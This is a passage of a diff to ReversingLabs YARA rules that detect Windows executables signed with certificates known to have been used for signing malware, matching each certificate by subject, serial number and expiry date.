+rule REVERSINGLABS_Cert_Blocklist_0Efd9Bd4B4281C6522D96011Df46C9C4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "774e28f7-46ba-533d-a73c-00d2536c7d2b" + id = "7bd6616b-fef7-56aa-a78a-606601afa4f3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15206-L15222" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9294-L9310" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "776402fc3a7de4843373bc1981f965fe9c2a9f1fe2374b142a96952fd05a591b" + logic_hash = "8f8a5e3457c05c5e70e33041c5b0b971cf8f19313d47055fd760ed17d94c8794" score = 75 quality = 90 tags = "INFO, FILE" @@ -27317,21 +49711,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Cb6519B2528D006D1Da987153Dad2B3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "D and D Internet Services" and pe.signatures [ i ] . serial == "1c:b6:51:9b:25:28:d0:06:d1:da:98:71:53:da:d2:b3" and 1012780800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x9B\\xB7\\xE7\\xA5\\x9E\\xEF\\xBC\\x88\\xE6\\xAD\\xA6\\xE6\\xB1\\x89\\xEF\\xBC\\x89\\xE4\\xBF\\xA1\\xE6\\x81\\xAF\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "0e:fd:9b:d4:b4:28:1c:65:22:d9:60:11:df:46:c9:c4" and 1586249095 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_621E696C3A6371E77A678Cbf0Ee34Ab2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Dd7D4A785990584D8C0837659173272 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "606749dc-f4ef-526a-8583-486401866759" + id = "d5e3d85b-cc4e-5522-8558-f2703c38c4e6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15224-L15240" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9312-L9328" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "67c9fd92681d6dd1172509113e167e74e07f1f86fd62456758b3e3930180b528" + logic_hash = "d18a479f07f2bdb890437e2bcb0213abdfb0eb684cdaf17c5eb0583039f2edb4" score = 75 quality = 90 tags = "INFO, FILE" @@ -27341,21 +49735,21 @@ rule REVERSINGLABS_Cert_Blocklist_621E696C3A6371E77A678Cbf0Ee34Ab2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "62:1e:69:6c:3a:63:71:e7:7a:67:8c:bf:0e:e3:4a:b2" and 1467072000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x9B\\xB7\\xE7\\xA5\\x9E\\xEF\\xBC\\x88\\xE6\\xAD\\xA6\\xE6\\xB1\\x89\\xEF\\xBC\\x89\\xE4\\xBF\\xA1\\xE6\\x81\\xAF\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "0d:d7:d4:a7:85:99:05:84:d8:c0:83:76:59:17:32:72" and 1586249095 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_21B991 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0C59D46580F039Af2C4Ab6Ba0Ffed197 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "333a0901-21e7-5b4a-8daa-6a04fc2c4e86" + id = "969e05a1-8ae1-5ea6-9607-5bf164f34e7b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15242-L15258" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9330-L9346" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "54ca9b19adfc9357a3fb74f0670ad929319c4d06a7de7ae400f8285a31052276" + logic_hash = "32eea2a436f386ef44a00ef72be8be7d4070b02f84ba71c7ee1ca407fddce8ec" score = 75 quality = 90 tags = "INFO, FILE" @@ -27365,21 +49759,21 @@ rule REVERSINGLABS_Cert_Blocklist_21B991 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Web Nexus d.o.o." and pe.signatures [ i ] . serial == "21:b9:91" and 1125477041 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\xA4\\xA7\\xE8\\xBF\\x9E\\xE7\\xBA\\xB5\\xE6\\xA2\\xA6\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "0c:59:d4:65:80:f0:39:af:2c:4a:b6:ba:0f:fe:d1:97" and 1585108595 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Cc37De5Dbed097F98F56Dbc : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0448Ec8D26597F99912138500Cc41C1B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8c362133-a30f-599d-88e0-a1448433178a" + id = "0c306a1f-e810-5988-a44c-964b6a67c918" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15260-L15276" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9348-L9364" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a2d04275b9fe37308c8f1dca75f4cc3c4a8985930f901e1f46e3ddc2977eea32" + logic_hash = "001556c31cfb0d94978adc48dc0d24c83666512348c65508975cc9e1a119aeae" score = 75 quality = 90 tags = "INFO, FILE" @@ -27389,21 +49783,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Cc37De5Dbed097F98F56Dbc : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "1c:c3:7d:e5:db:ed:09:7f:98:f5:6d:bc" and 1476693977 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\xA4\\xA7\\xE8\\xBF\\x9E\\xE7\\xBA\\xB5\\xE6\\xA2\\xA6\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "04:48:ec:8d:26:59:7f:99:91:21:38:50:0c:c4:1c:1b" and 1585108595 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_50F66Ab0D7Ed19B69D48F635E69572Fa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0108Cbaee60728F5Bf06E45A56D6F170 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9938b4c5-4a2b-5f4a-92a0-28c3519b1ed3" + id = "2be3a0d2-2c6a-5c66-856a-d3a70a490ba3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15278-L15294" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9366-L9382" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "28f71c0572e769d4a0cb289071912bc79cddfd98a3a8161c5400c7bee7090bf5" + logic_hash = "52027548e20c819e73ea5e9afd87faaca4498bc39e54dd30ad99a24e3ace57fd" score = 75 quality = 90 tags = "INFO, FILE" @@ -27413,21 +49807,21 @@ rule REVERSINGLABS_Cert_Blocklist_50F66Ab0D7Ed19B69D48F635E69572Fa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wei Liu" and pe.signatures [ i ] . serial == "50:f6:6a:b0:d7:ed:19:b6:9d:48:f6:35:e6:95:72:fa" and 1467158400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\xAD\\xA6\\xE6\\xB1\\x89\\xE4\\xB8\\x9C\\xE6\\xB9\\x96\\xE6\\x96\\xB0\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE5\\xBC\\x80\\xE5\\x8F\\x91\\xE5\\x8C\\xBA" and pe.signatures [ i ] . serial == "01:08:cb:ae:e6:07:28:f5:bf:06:e4:5a:56:d6:f1:70" and 1605680260 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_11212F502836A784752160351Defb136Cf09 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_038D56A12153E8B5C74C69Bff65Cbe3F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7609083d-145b-5594-a04b-72c2862873eb" + id = "48162554-a95b-5cd3-9bbb-bcf6a1d96592" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15296-L15312" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9384-L9400" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "63d4c1aaafdf6de14d0ae78035644cf6b0fefab8b0063d2566ca38af9f9498d2" + logic_hash = "ed3a81231f93f9d2ae462481503ba37072c3800dd1379baae11737f093a27af1" score = 75 quality = 90 tags = "INFO, FILE" @@ -27437,21 +49831,21 @@ rule REVERSINGLABS_Cert_Blocklist_11212F502836A784752160351Defb136Cf09 : INFO FI importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EVANGEL TECHNOLOGY(HK) LIMITED" and pe.signatures [ i ] . serial == "11:21:2f:50:28:36:a7:84:75:21:60:35:1d:ef:b1:36:cf:09" and 1463726573 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\xAD\\xA6\\xE6\\xB1\\x89\\xE5\\x86\\x85\\xE7\\x91\\x9F\\xE6\\x96\\xAF\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "03:8d:56:a1:21:53:e8:b5:c7:4c:69:bf:f6:5c:be:3f" and 1605680260 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2C16Be9A7Ce2A23Ab7A4B4Eb7Da3400C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_060D94E2Ccae84536654D9Daf39Fef1E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4e17aed7-fd76-549f-bcf7-84c97efc44e4" + id = "ac5d29ef-fd52-536b-bcbc-44433dda8a21" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15314-L15330" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9402-L9418" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "917f324cbe91718efc9b2f41ef947fa8f1a501dde319936774d702d57b1e6b37" + logic_hash = "49000f3a3ce1ad9aef87162d7527b8f062e0aa12276b82c7335f0ccc14b7d38a" score = 75 quality = 90 tags = "INFO, FILE" @@ -27461,21 +49855,21 @@ rule REVERSINGLABS_Cert_Blocklist_2C16Be9A7Ce2A23Ab7A4B4Eb7Da3400C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Prince city music bar" and pe.signatures [ i ] . serial == "2c:16:be:9a:7c:e2:a2:3a:b7:a4:b4:eb:7d:a3:40:0c" and 1371081600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HasCred ApS" and pe.signatures [ i ] . serial == "06:0d:94:e2:cc:ae:84:53:66:54:d9:da:f3:9f:ef:1e" and 1627948800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_22Accad235Fb1Ac7422Ebe5Ea7Ac9Bc5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Bc9B800F480691Bd6B60963466B0C75 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "218543f3-298f-5038-8fa9-3abeda9e4d8f" + id = "614f88ca-183a-548b-99f1-30cf4c4027ce" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15332-L15348" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9420-L9436" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b348c502aeae036f6d17283260ed4479427f89c8c25f2b6d59e137e90694dbe4" + logic_hash = "6a498fd30c611976e9aad2f9b85b13c3c29246582cdfefc800615db88e40dac2" score = 75 quality = 90 tags = "INFO, FILE" @@ -27485,21 +49879,21 @@ rule REVERSINGLABS_Cert_Blocklist_22Accad235Fb1Ac7422Ebe5Ea7Ac9Bc5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IMS INTERACTIVE MEDIA SOLUTIONS" and pe.signatures [ i ] . serial == "22:ac:ca:d2:35:fb:1a:c7:42:2e:be:5e:a7:ac:9b:c5" and 1019001600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HasCred ApS" and pe.signatures [ i ] . serial == "0b:c9:b8:00:f4:80:69:1b:d6:b6:09:63:46:6b:0c:75" and 1629158400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4D29757C4Fbfc32B97091D96E3723002 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0C4324Ff41F0A7B16Ffcc93Dffa8Fa99 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e1834597-4e45-5866-97f4-e00c79190930" + id = "34594a57-f9fd-5b9d-afb6-691be33da9b5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15350-L15366" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9438-L9454" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "78ede4b02cb1b07500cd0c4f1f33da598938940d0f58430edda00d79b19b16a5" + logic_hash = "d3ce83fb0497c533a5474d46300c341677ec243686723783798bfbaec4f6e369" score = 75 quality = 90 tags = "INFO, FILE" @@ -27509,21 +49903,21 @@ rule REVERSINGLABS_Cert_Blocklist_4D29757C4Fbfc32B97091D96E3723002 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "4d:29:75:7c:4f:bf:c3:2b:97:09:1d:96:e3:72:30:02" and 1474848000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE7\\xA6\\x8F\\xE5\\xBB\\xBA\\xE7\\x9C\\x81\\xE4\\xBA\\x94\\xE6\\x98\\x9F\\xE4\\xBF\\xA1\\xE6\\x81\\xAF\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "0c:43:24:ff:41:f0:a7:b1:6f:fc:c9:3d:ff:a8:fa:99" and 1600300800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3A949Ef03D9Dd2D150B24B274Ff6D7B4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0B980Fc8783E4F158E41829Ab21Bab81 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6ea47017-1296-5409-8ff2-ef69434233ff" + id = "f7358f71-421f-57fa-abdf-ab479f4b7007" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15368-L15384" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9456-L9472" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "88c63a921a300e1b985d084c3ab1a2485713b4c674dafd419d092e5562f121d7" + logic_hash = "b0f43caec1cfc5b2d1512d7fcf0bcf1e02fc81764b4376b081f38c4de328eab2" score = 75 quality = 90 tags = "INFO, FILE" @@ -27533,21 +49927,21 @@ rule REVERSINGLABS_Cert_Blocklist_3A949Ef03D9Dd2D150B24B274Ff6D7B4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "3a:94:9e:f0:3d:9d:d2:d1:50:b2:4b:27:4f:f6:d7:b4" and 1474156800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Idris Kanchwala Holding Corp." and pe.signatures [ i ] . serial == "0b:98:0f:c8:78:3e:4f:15:8e:41:82:9a:b2:1b:ab:81" and 1631750400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_954D0577D5Ce8999E0387A5364829F66 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D8F515715Aeffef0A0E4E37F16C254Fa : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "70e770dd-95fd-5273-b6ee-9bb5eea30e3b" + id = "50ffd0a0-d861-53d7-a7dc-f74ccc49eff8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15386-L15404" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9474-L9492" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "84ddc08a0a55200f644778a0e3482f15e82d74c524f12a7ad91b1c3d4acfc731" + logic_hash = "3c7d57a655f76a6e5ef6b0e770db7c91d0830b6b0b37caef5ef9e3e78ad1fd75" score = 75 quality = 90 tags = "INFO, FILE" @@ -27557,21 +49951,21 @@ rule REVERSINGLABS_Cert_Blocklist_954D0577D5Ce8999E0387A5364829F66 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Soblosol Limited" and ( pe.signatures [ i ] . serial == "00:95:4d:05:77:d5:ce:89:99:e0:38:7a:53:64:82:9f:66" or pe.signatures [ i ] . serial == "95:4d:05:77:d5:ce:89:99:e0:38:7a:53:64:82:9f:66" ) and 1543968000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HOLDING LA LTD" and ( pe.signatures [ i ] . serial == "00:d8:f5:15:71:5a:ef:fe:f0:a0:e4:e3:7f:16:c2:54:fa" or pe.signatures [ i ] . serial == "d8:f5:15:71:5a:ef:fe:f0:a0:e4:e3:7f:16:c2:54:fa" ) and 1619136000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Df5121Dc99D1Ab6B7E5229F6832123Ef : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D79739187C585E453C00Afc11D77B523 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8dfc50be-7316-5a52-937b-4551aa642b7e" + id = "ed427336-6833-5e09-8ebe-039c8cd50846" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15406-L15424" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9494-L9512" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3b5e5b81890f1dea3dc0858cade54e7f88a21861818be79c3e7fba066f80d491" + logic_hash = "6d6db87227d7be559afa67c4f2b65b01f26741fdf337d920241a633bb036426f" score = 75 quality = 90 tags = "INFO, FILE" @@ -27581,21 +49975,21 @@ rule REVERSINGLABS_Cert_Blocklist_Df5121Dc99D1Ab6B7E5229F6832123Ef : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "INC SALYUT" and ( pe.signatures [ i ] . serial == "00:df:51:21:dc:99:d1:ab:6b:7e:52:29:f6:83:21:23:ef" or pe.signatures [ i ] . serial == "df:51:21:dc:99:d1:ab:6b:7e:52:29:f6:83:21:23:ef" ) and 1613433600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAN MARINO INVESTMENTS PTY LTD" and ( pe.signatures [ i ] . serial == "00:d7:97:39:18:7c:58:5e:45:3c:00:af:c1:1d:77:b5:23" or pe.signatures [ i ] . serial == "d7:97:39:18:7c:58:5e:45:3c:00:af:c1:1d:77:b5:23" ) and 1631059200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_760Cef386B63406751Ae83A9Eae92342 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_961Cecb0227845317549E9343A980E91 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c2cbd1fd-ef68-5128-9c45-88b73a49130f" + id = "f319592a-5f08-5f2c-b840-5f897695e054" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15426-L15442" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9514-L9532" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "43b56736afe081a1215db67b933413d7fbafbfc1be8213b330668578921ebca7" + logic_hash = "c74512e95e2d6aedecb1dbd30fac6fde40d1e9520c89b785519694d9bc9ba854" score = 75 quality = 90 tags = "INFO, FILE" @@ -27605,21 +49999,21 @@ rule REVERSINGLABS_Cert_Blocklist_760Cef386B63406751Ae83A9Eae92342 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Gidrokon LLC" and pe.signatures [ i ] . serial == "76:0c:ef:38:6b:63:40:67:51:ae:83:a9:ea:e9:23:42" and 1601942400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AmiraCo Oy" and ( pe.signatures [ i ] . serial == "00:96:1c:ec:b0:22:78:45:31:75:49:e9:34:3a:98:0e:91" or pe.signatures [ i ] . serial == "96:1c:ec:b0:22:78:45:31:75:49:e9:34:3a:98:0e:91" ) and 1615248000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5C2625Fa836A64F4882C56Cc7A45F0Ed : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Ef6392B2993A6F67578299659467Ea8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "db968865-fb1e-57b5-8968-6510e83c02ac" + id = "123e5aed-0ef4-5146-81bb-5d455a9cf92e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15444-L15460" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9534-L9550" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "85e187684d62c33ef6f69323b837ef2d44facab8278b512d7bd6afd49eaed976" + logic_hash = "f6b454a575ea7635d5edebffe3c9c83e95312ee33245e733987532348258733e" score = 75 quality = 90 tags = "INFO, FILE" @@ -27629,21 +50023,21 @@ rule 